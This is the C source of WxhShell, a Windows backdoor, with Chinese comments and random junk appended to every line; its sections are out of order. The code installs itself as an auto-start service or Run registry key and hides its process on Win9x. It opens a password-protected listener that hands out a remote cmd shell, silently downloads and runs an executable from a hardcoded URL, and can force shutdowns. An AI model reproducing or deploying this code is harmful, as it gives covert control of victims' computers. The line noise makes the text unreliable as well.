    if(Boot(SHUTDOWN)) S+R<wv ,6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vpFN{UfD  
    else { j,80EhZ  
    closesocket(wsh); hc5M)0d  
    ExitThread(0); &}nU#)IX  
    } pB@8b$8(Z  
    break; J<p<5):R;  
    } AEX]_1TG  
  // 获取shell #57nm]?  
  case 's': { oylY1~~}0K  
    CmdShell(wsh); ^uW](2  
    closesocket(wsh); _ YWw7q  
    ExitThread(0); H?sl_3- #  
    break; 9.qIhg  
  } >>rW-&  
  // 退出 Z_QSVH68A  
  case 'x': { 4HVZ;,q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Lt8chNi [  
    CloseIt(wsh); XASoS5  
    break; lJi'%bOi  
    } 4-eb&  
  // 离开 0L $v7, 5  
  case 'q': { L5(rP\B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ' jZ2^  
    closesocket(wsh); v!E0/ gD  
    WSACleanup(); E8T4Nh_  
    exit(1); 3%/]y=rA  
    break; .6 !IO^`[  
        } Cc0`Ylx~(  
  } x1Q}B   
  } 9U>ID{  
LG [ 2u  
  // 提示信息 ;9q3FuR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YPDc /  
} ?1xBhKq  
  } 6TbDno/!'  
F@kOj*5,[  
  return; U# ueG  
} o{4ya jt  
tE]g*]o  
// shell模块句柄 ,ZJI]Q=!  
int CmdShell(SOCKET sock) COOazXtW  
{ VCiJ]$`M  
STARTUPINFO si; 'X_iiR8n@p  
ZeroMemory(&si,sizeof(si));  @zEEX9U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y$--Hp4   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c,Zs. kC  
PROCESS_INFORMATION ProcessInfo; "6~pTHT  
char cmdline[]="cmd"; U> (5J,G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7OS\j>hb~  
  return 0; uTpKT7t  
} y%|nE((  
&O#a==F!(  
// 自身启动模式 yv 9~  
int StartFromService(void) d0>V^cB'?  
{ UIvTC S  
typedef struct n4 KiC!*i0  
{ -WB? hmx  
  DWORD ExitStatus; ~2 T_)l?  
  DWORD PebBaseAddress; G-G!c2o  
  DWORD AffinityMask; Z_iu^ Q  
  DWORD BasePriority; iv?'&IUfK  
  ULONG UniqueProcessId; i 6kW"5t  
  ULONG InheritedFromUniqueProcessId; iVd*62$@$  
}   PROCESS_BASIC_INFORMATION; MnO,Cd6{%d  
^8o'\V"m^  
PROCNTQSIP NtQueryInformationProcess; /1h`O@VA  
m`g%\o^6i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #KXazZu"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y6`9:97  
r9uY ?M  
  HANDLE             hProcess; .i"v([eQ  
  PROCESS_BASIC_INFORMATION pbi; % rdW:  
 ^OI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -fj;9('YJ  
  if(NULL == hInst ) return 0; CJJ 1aM  
=9\=5_V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  uw LT$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y` LZ/Tgk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~{n_rKYV  
%+w>`k3(N  
  if (!NtQueryInformationProcess) return 0; m1gJ"k6 `j  
:)c >5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YdV5\!  
  if(!hProcess) return 0; j^1T3 +  
[NFg9y;{h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $9y]>R  
 k1L GT&  
  CloseHandle(hProcess); EQyRP. dq  
bFVz ;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9| v  
if(hProcess==NULL) return 0; 1HN_  
* <x]gV  
HMODULE hMod; l'&l!D&   
char procName[255]; 7\"-<z;kK  
unsigned long cbNeeded; >RHK6c  
e[i&2mM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p[0Ws460  
$sU?VA'h  
  CloseHandle(hProcess); =P'=P0G  
!}"npUgE  
if(strstr(procName,"services")) return 1; // 以服务启动 ]b'K BAMy  
iEr|?,  
  return 0; // 注册表启动 7_S+/2}U*  
} $P^=QN5 Bb  
Xr :"8FT  
// 主模块 Y3-Tg~/~W  
int StartWxhshell(LPSTR lpCmdLine) eoR@5OA&  
{ C]W VH\P p  
  SOCKET wsl; ,'Y*e[  
BOOL val=TRUE; N,(@k[uta  
  int port=0; vn .wM  
  struct sockaddr_in door; {Xwin $C  
1;fs`k0p  
  if(wscfg.ws_autoins) Install(); `.MM|6  
%N/I;`  
port=atoi(lpCmdLine); kX'1.<[  
KAgiY4  
if(port<=0) port=wscfg.ws_port; <9"s&G@  
3 cT  
  WSADATA data; \tyL`& )  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Wfu%,=@,  
ZA2y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kC01s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cOOPNa>5_  
  door.sin_family = AF_INET; ?b#/*T}ac  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _L_SNjA_  
  door.sin_port = htons(port); vD:.1,72  
YCh!D dy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9`{Mq9J  
closesocket(wsl); WN>.+qM~8  
return 1; +O j28vR  
} To}L%)  
U(3LeS;mr  
  if(listen(wsl,2) == INVALID_SOCKET) { 0K7-i+\#  
closesocket(wsl); 5G(y  
return 1; MG8-1M  
} ^[&*B#(  
  Wxhshell(wsl); @`%.\_  
  WSACleanup(); #@2`^1  
}=?r`J+Ev;  
return 0; /J/r62  
HZ[&ZNTa  
} twf;{lZ(  
@*is]d+Ya  
// 以NT服务方式启动 xdYjl.f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QdUl-(  
{ M[<O]p6  
DWORD   status = 0; t^8#~o!%  
  DWORD   specificError = 0xfffffff; hh+GW*'~  
~>>o'H6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tI.(+-q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g|)e3q{M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bCd! ap+#  
  serviceStatus.dwWin32ExitCode     = 0; Qyt6+xL  
  serviceStatus.dwServiceSpecificExitCode = 0;  P/nXY  
  serviceStatus.dwCheckPoint       = 0; Sl:\5]'yJ  
  serviceStatus.dwWaitHint       = 0; - /#3U{O  
b'3#FI=:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qbqJ1^!6R  
  if (hServiceStatusHandle==0) return; 8 Sl[&  
0<nKB}9  
status = GetLastError(); YX^{lD1Jj  
  if (status!=NO_ERROR) (C6Y*Zm\  
{ t,k9:p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D@DK9?#  
    serviceStatus.dwCheckPoint       = 0; dH?pQ   
    serviceStatus.dwWaitHint       = 0; uBl&|yvxB  
    serviceStatus.dwWin32ExitCode     = status; b.YQN'  
    serviceStatus.dwServiceSpecificExitCode = specificError; k^R>xV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vk{4:^6.TV  
    return; )byQ=-< 1  
  } jG)>{D  
_'2r=a#`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A<>W^ow  
  serviceStatus.dwCheckPoint       = 0; o }Tv^>L  
  serviceStatus.dwWaitHint       = 0; ~{2@-qcm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /%)M lG  
} s15f <sp  
-7=pb#y  
// 处理NT服务事件,比如:启动、停止 +Tq _n@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xU@Z<d,k  
{ #Sn&Wo  
switch(fdwControl) ;pAkdX&b  
{ ^$?8!WE  
case SERVICE_CONTROL_STOP: lD/+LyTa  
  serviceStatus.dwWin32ExitCode = 0; QXXcJc~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c^Wm~"r  
  serviceStatus.dwCheckPoint   = 0; FAPgXmFzx  
  serviceStatus.dwWaitHint     = 0; @ o;m!CYB  
  { >x!N@G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (&njZdcb*  
  } ;GH(A=}/Y  
  return; 6|_ S|N  
case SERVICE_CONTROL_PAUSE: V#3VRh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;`F0 %0d  
  break; !Z4,UTu|Q  
case SERVICE_CONTROL_CONTINUE: ?$ YE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qIb(uF@l"  
  break; laFkOQI  
case SERVICE_CONTROL_INTERROGATE: 9F,jvCM63  
  break; Ch7eUTq A@  
}; AiO,zjM=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f kP WGd  
} ~_S`zzcZy4  
[FC%_R&&  
// 标准应用程序主函数 \[,7#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -p%=36n  
{ &TK%igL  
1 ViDS  
// 获取操作系统版本 Ef?_d]  
OsIsNt=GetOsVer(); j&44wuf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iqOd]H]v  
K0+J!- a]7  
  // 从命令行安装 8eLNKgc  
  if(strpbrk(lpCmdLine,"iI")) Install(); ):.]4n{L  
D ORFK  
  // 下载执行文件 .6/[X` *  
if(wscfg.ws_downexe) { /ox}l<ha  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '4O1Y0K  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3}N:oJI$z  
} Kt`0vwkjvI  
E~N}m7kTl/  
if(!OsIsNt) { =)y=M!T2  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;)cl Cm46  
HideProc(); yq&]>ox  
StartWxhshell(lpCmdLine); ?!A{n3\<  
} JFZZ-t;*  
else e@I?ESZ5  
  if(StartFromService()) Y$,]~Qzq  
  // 以服务方式启动 QTP1u  
  StartServiceCtrlDispatcher(DispatchTable); <X;y 4lPZ  
else o9Agx{'oV  
  // 普通方式启动 */Y@:Sjf  
  StartWxhshell(lpCmdLine); ]INbRytvc  
)IhI~,0Nmj  
return 0; Y@L`XNl  
} HPt"  
NB, iC [e  
W=G[hT5L{  
KH[%HN5v  
=========================================== { >4exyu6  
$/pd[H[{  
lYJ]W[!  
Y> 7/>x6  
LrK6*y,z  
T4Zp5m")  
" yfaXScbE  
UUA7m$F1  
#include <stdio.h> m >'o&Hj  
#include <string.h> AQ-PY  
#include <windows.h> IcaF 4#  
#include <winsock2.h> w"aD"}3  
#include <winsvc.h> M6g!bK2l  
#include <urlmon.h> N4$0ptz#}G  
Z!hDTT  
#pragma comment (lib, "Ws2_32.lib") ;AHa|35\  
#pragma comment (lib, "urlmon.lib") H!s &]b  
1Z*-@%RX  
#define MAX_USER   100 // 最大客户端连接数 OcIJT1  
#define BUF_SOCK   200 // sock buffer B:SzCC.B  
#define KEY_BUFF   255 // 输入 buffer r5rK>  
}_Jai4O  
#define REBOOT     0   // 重启 {)-%u8J\`N  
#define SHUTDOWN   1   // 关机 O":x$>'t  
:~`E @`/  
#define DEF_PORT   5000 // 监听端口  LqU]&AAh  
!d"J,.)  
#define REG_LEN     16   // 注册表键长度 9ft7  
#define SVC_LEN     80   // NT服务名长度 *^QfTKN   
uTn(fs) D  
// 从dll定义API 'n.ATV,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pU}>}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -3bl !9h^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K uFDkT!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e;[/ytz"d'  
44b'40  
// wxhshell配置信息 6rPe\'n=B  
struct WSCFG { /FB'  
  int ws_port;         // 监听端口 w~1K93/p!  
  char ws_passstr[REG_LEN]; // 口令 LN_6>u  
  int ws_autoins;       // 安装标记, 1=yes 0=no whRc YnJ  
  char ws_regname[REG_LEN]; // 注册表键名 |\elM[G"g  
  char ws_svcname[REG_LEN]; // 服务名 wUl}x)xo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "iOT14J!7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DJ=miJI'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HO$s&}t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 191O(H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  ;m7$U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~|fd=E%  
w^P4_Yr  
}; 0M:.Jhp  
jh}[7M  
// default Wxhshell configuration 'w!Hjq]$  
struct WSCFG wscfg={DEF_PORT, O/0m|~`iY  
    "xuhuanlingzhe", + PGfQN  
    1, 4Mnne'7  
    "Wxhshell", J]Uki*s  
    "Wxhshell", '{Iv?gh"  
            "WxhShell Service", Rl$NiY?2  
    "Wrsky Windows CmdShell Service", ud! iy  
    "Please Input Your Password: ", y%3Yr?]  
  1, [@.%6aD  
  "http://www.wrsky.com/wxhshell.exe", Qt!l-/flh  
  "Wxhshell.exe" Ugrcy7  
    }; Z7OWpujCvN  
5C2 *f 4|  
// 消息定义模块 J[]YG+r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .Ml}cE$L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]cFqKs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RqH"+/wR  
char *msg_ws_ext="\n\rExit."; e7 5*84  
char *msg_ws_end="\n\rQuit."; "y>l2V,4j%  
char *msg_ws_boot="\n\rReboot..."; -/KVZ  
char *msg_ws_poff="\n\rShutdown..."; Fi1gM}>py  
char *msg_ws_down="\n\rSave to "; Nluy]h &  
Q9?/)&3Bu  
char *msg_ws_err="\n\rErr!"; a?&oOQd-iP  
char *msg_ws_ok="\n\rOK!"; jC<<S  
glPOW  
char ExeFile[MAX_PATH]; ym<G.3%1  
int nUser = 0; Z2hRTJJ[A  
HANDLE handles[MAX_USER]; NDCZc_  
int OsIsNt; Hza{"I*^  
i]xyD'0  
SERVICE_STATUS       serviceStatus; Oh-HfJyi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vc c/  
StaX~J6=  
// 函数声明 c7P"1  
int Install(void); [%z~0\lu8  
int Uninstall(void); P\N$TYeH  
int DownloadFile(char *sURL, SOCKET wsh);  +'Tr>2V  
int Boot(int flag); JdFMSmZ@  
void HideProc(void); u;;]S!:M  
int GetOsVer(void); ~Ui<y=d  
int Wxhshell(SOCKET wsl); g]z,*d  
void TalkWithClient(void *cs); vU&gFEWg  
int CmdShell(SOCKET sock);  `q%Z/!}  
int StartFromService(void); M}3>5*!=  
int StartWxhshell(LPSTR lpCmdLine); H?UmHww E  
vsHY;[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4vGkgH<,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h7kGs^pP  
Y <Ta2H  
// 数据结构和表定义 WX]kez{<uP  
SERVICE_TABLE_ENTRY DispatchTable[] = Yb 6(KT  
{ M|6 W<y  
{wscfg.ws_svcname, NTServiceMain}, gx@b|rj;  
{NULL, NULL} jA<v<oV  
}; ZrXvR`bsw  
Ah) _mxK  
// 自我安装 .B_) w:oF  
int Install(void) 3($%AGKJ  
{ Y(W>([59  
  char svExeFile[MAX_PATH]; RY&Wvkjh  
  HKEY key; z(K[i?&  
  strcpy(svExeFile,ExeFile); 1k3wBc 5<  
* t{A=Wk  
// 如果是win9x系统,修改注册表设为自启动 &*/8Ojv)9  
if(!OsIsNt) { 7AHEzJh"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [:TOU^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bp>%'L  
  RegCloseKey(key); L]9uY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9<}d98  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C3hnX2";  
  RegCloseKey(key); ,]42v?  
  return 0; 91}QuYv/_  
    } gO1`zP!9Z  
  } 3zGxe-  
} ID E3>D  
else { KP -g<Zc  
4(|x@: wxm  
// 如果是NT以上系统,安装为系统服务 =-1d m+P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O jr{z  
if (schSCManager!=0) K{t7_i#tv  
{ %AXa(C\1  
  SC_HANDLE schService = CreateService $ZH$x3;  
  ( JrQ*.lJj  
  schSCManager, ?_(0cVi  
  wscfg.ws_svcname, KYu3dC'/,&  
  wscfg.ws_svcdisp, [ % KBc}  
  SERVICE_ALL_ACCESS, Uw)?u$+ P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o5 @ l!NQ  
  SERVICE_AUTO_START, #4Xe zj,g*  
  SERVICE_ERROR_NORMAL, "Z#97Jc+J  
  svExeFile, w91{''sK  
  NULL, `BdZqXKG  
  NULL, :p%nQF,*f  
  NULL, VfAIx]Fa  
  NULL, vZq7U]RW  
  NULL &d[&8V5S  
  ); )g(2xUk-y  
  if (schService!=0) i/NY86A  
  { cRDjpc]  
  CloseServiceHandle(schService); ,A h QA  
  CloseServiceHandle(schSCManager); c<r`E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ''s]6Jjw  
  strcat(svExeFile,wscfg.ws_svcname); )PVX)2P_C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 593D/^}D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %o.{h  
  RegCloseKey(key); GL(R9Y  
  return 0; {~.h;'m  
    } i$?i1z*c}  
  } XTXRC$B  
  CloseServiceHandle(schSCManager); q{[}*%  
} ?r"m*fY%  
} V+W,# 5  
1b-4wonQd  
return 1; %AF~Ki  
} #(?EL@5  
8Tyf#`'I  
// 自我卸载 K!lGo3n]  
int Uninstall(void) hIuK s5`  
{ H :}|UW  
  HKEY key; bu1O<*  
X25cU{  
if(!OsIsNt) { Q Bc\=}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DO'$J9;*  
  RegDeleteValue(key,wscfg.ws_regname); oQBfDD0  
  RegCloseKey(key); f5IO<(:E^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5#!pwjt~7  
  RegDeleteValue(key,wscfg.ws_regname); !E'jd72O  
  RegCloseKey(key); _1VtVfiZ{  
  return 0; fpwge/w  
  } rgWGe6;!  
} CD:@OI  
} J0~Ha u  
else { Qb!9QlW  
C%85Aq*4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T+8F'9i`  
if (schSCManager!=0) t \kI( G  
{ <VS\z(K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x\)0+c~\}x  
  if (schService!=0) KA# 4iu{  
  { EGf9pcUEO&  
  if(DeleteService(schService)!=0) { rQC{"hS1  
  CloseServiceHandle(schService); -5l74f!i  
  CloseServiceHandle(schSCManager); *6cP-Vzd  
  return 0; CP)x;  
  } 4Cr |]o'  
  CloseServiceHandle(schService); 3 (Kj|u  
  } S^HuQe!#  
  CloseServiceHandle(schSCManager); I $!Y  
} 4E}]>  
} r5xu#%hgp;  
r]iec{ ^  
return 1; _'JKPD[  
} V lN&Lz  
-8X* (7  
// 从指定url下载文件 c!AGKc  
int DownloadFile(char *sURL, SOCKET wsh) gm B?L0UV  
{ %,g6:Zc@  
  HRESULT hr; D0/ \  
char seps[]= "/"; /[`bPKr  
char *token; i|0H {q  
char *file; 2u4aCfIx  
char myURL[MAX_PATH]; *`YR-+0  
char myFILE[MAX_PATH]; Y-hGHnh]'  
a02@CsH  
strcpy(myURL,sURL); <?5 ,3`V  
  token=strtok(myURL,seps); bm*Ell\a.  
  while(token!=NULL) C s?kZ %  
  { i=#<0!m  
    file=token; 'Pk ( 1:  
  token=strtok(NULL,seps); } :P/eY  
  } !run3ip`Z  
0&E{[~Pv  
GetCurrentDirectory(MAX_PATH,myFILE); J b Hn/$  
strcat(myFILE, "\\"); NdZv*  
strcat(myFILE, file); T52A}vf4  
  send(wsh,myFILE,strlen(myFILE),0); 7 [N1Vr(1  
send(wsh,"...",3,0); OWT5Bjl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3#}5dO  
  if(hr==S_OK) ?u{y[pI6  
return 0;  ~,Ck  
else Ho9 a#9  
return 1; O+A/thI%*S  
TXD\i Dq  
} V4ml& D  
6;i]v|M-  
// 系统电源模块 4<CHwIRHY  
int Boot(int flag) %|bqL3)a_  
{ q$7WZ+Y\  
  HANDLE hToken; D'2&'7-sm\  
  TOKEN_PRIVILEGES tkp; 48nZ H=(Eh  
z@iu$DZ  
  if(OsIsNt) { xH!{;i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Wg9q_Ql  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v>CA A"LH  
    tkp.PrivilegeCount = 1; Z%Q[W}iD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NitWIj[U;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :KGUO{_u  
if(flag==REBOOT) { V6)\;c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) avrf]raM|  
  return 0; */fmy|#   
} O$ui:<]dS  
else { Dp4\rps  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %GQPiWu  
  return 0; nm2bBX,fh  
} ?a+>%uWt  
  } UM%]A'h2O"  
  else { l?LwQmq6  
if(flag==REBOOT) { oY{L0B[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *}DCxv  
  return 0; &[ejxK"  
} 2'UWPZgE  
else { Rqu_[M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ('QfB<4H1  
  return 0; `2Rd=M]?  
} U<QO@5  
} U0G(  
(+lw t  
return 1; qKag'0e  
} >J,Rx!fq3  
")LcB' C  
// win9x进程隐藏模块 RGvfy/T  
void HideProc(void) M|nTO  
{ N# $ob 9  
&g%9$*gmT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;DbEP.%u$  
  if ( hKernel != NULL ) H=O/w3  
  { +Z99x#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); da<B6!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @."_XL74  
    FreeLibrary(hKernel); =0!PnBGYn  
  } {2QCdj46  
mDZ/Kp{  
return; L,6v!9@  
} H y}oSy26  
30 e>C  
// 获取操作系统版本 b8Gu<Q1k  
int GetOsVer(void) Q |,(C0<G  
{ yh~*Kt]9Ya  
  OSVERSIONINFO winfo; +ve S~   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oZm)@Vv;  
  GetVersionEx(&winfo); ~.\CG'g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &p|+K XIf  
  return 1; tP/0_^m  
  else b?S,%  
  return 0; x UM,"+h  
} OI:G~Wg  
?Vg251-H  
// 客户端句柄模块 jNRR=0  
int Wxhshell(SOCKET wsl) RN2^=$'.  
{ HoE@t-S  
  SOCKET wsh; 5eS0 B{,c  
  struct sockaddr_in client; CWF(OMA  
  DWORD myID; ;nS.t_UW.  
gp@X(d  
  while(nUser<MAX_USER) tgk] sQY  
{ K[{hh;7  
  int nSize=sizeof(client); dQW=k^X 'U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G':wJ7[]`  
  if(wsh==INVALID_SOCKET) return 1; lRb|GS.h/  
y~eQVnH5W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &!Sq6<!v2  
if(handles[nUser]==0) W&MZ5t,k=  
  closesocket(wsh); BJA&{DMHm  
else rLP:kP'b  
  nUser++; WTWONO>  
  } b2rlj6d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -lICoRO#  
Fl8*dXG&  
  return 0; I?y!d G  
} C1/qiSHsh  
Y 1v9sMN,  
// 关闭 socket jd>ug=~x  
void CloseIt(SOCKET wsh) oW[];r  
{ XR2Gw 4]  
closesocket(wsh); p~LTu<*S  
nUser--; ~O|g~H5;  
ExitThread(0); *GUQz  
} jTSN`R9@  
(tG8HwV-  
// 客户端请求句柄 ~bC-0^/ 8|  
void TalkWithClient(void *cs) wAt|'wP :  
{ K;uO<{a)r  
]Q8[,HTG  
  SOCKET wsh=(SOCKET)cs; G#uD CF,O  
  char pwd[SVC_LEN]; \ B \G=Y  
  char cmd[KEY_BUFF]; v*Dz4K#  
char chr[1]; r>o#h+'AV  
int i,j; }o9fpo|  
,$4f#)  
  while (nUser < MAX_USER) { #Jx6DQGa  
N+0[p@0  
if(wscfg.ws_passstr) { c\P,ct }>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '.{tE*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dUvgFOy|P  
  //ZeroMemory(pwd,KEY_BUFF); G+5_I"`W  
      i=0; As}3VBd  
  while(i<SVC_LEN) { ?ZF ~U  
{e35O(Y  
  // 设置超时 \}Hi\k+h':  
  fd_set FdRead; >_3P6-L>  
  struct timeval TimeOut; FGRdA^`  
  FD_ZERO(&FdRead); P]A~:Lj  
  FD_SET(wsh,&FdRead); +Oxw?`I$  
  TimeOut.tv_sec=8; 0gevn  
  TimeOut.tv_usec=0; -!bfxbP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e9\eh? bPU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eE=}^6)(*  
v?Ds|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vz~`M9^  
  pwd=chr[0]; [}+h86:y  
  if(chr[0]==0xd || chr[0]==0xa) { Y| dw>qO  
  pwd=0; fo$s9g^<  
  break; `<#Ufi*c  
  } &eA!h  
  i++; " J4?Sb<  
    } d~QZc R  
z JBcz,  
  // 如果是非法用户,关闭 socket +<})`(8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  gl$}t H  
}  9M]%h  
6&,{"N0 T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); , tEd>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~9We)FvU4  
>LAhc7I  
while(1) { f,(@K%  
 S!Bnz(z  
  ZeroMemory(cmd,KEY_BUFF); <(E9U.  
6Cpn::WW}  
      // 自动支持客户端 telnet标准   QJH((  
  j=0; }VU7wMk  
  while(j<KEY_BUFF) { Can:!48  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NScUlR"nE  
  cmd[j]=chr[0]; j6&q6C X  
  if(chr[0]==0xa || chr[0]==0xd) { #TG7WF 5  
  cmd[j]=0; L> \/%x>Wx  
  break; kJ_XG;8  
  } [G<SAWFg7  
  j++; FgnS+c3W(  
    } F2^qf  
AMSn^ 75  
  // 下载文件 uS|f|)U&  
  if(strstr(cmd,"http://")) { b/]@G05>>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1nZ7xCDK98  
  if(DownloadFile(cmd,wsh)) 4qKMnYR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ly~s84k_po  
  else cT.8&EEW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k:yrh:JhB  
  } DQy;W  ov  
  else { &0Bs?oq_  
)VM'^sV?  
    switch(cmd[0]) { ]vQU(@+I  
  JTS<n4<a  
  // 帮助 5T-CAkR{n  
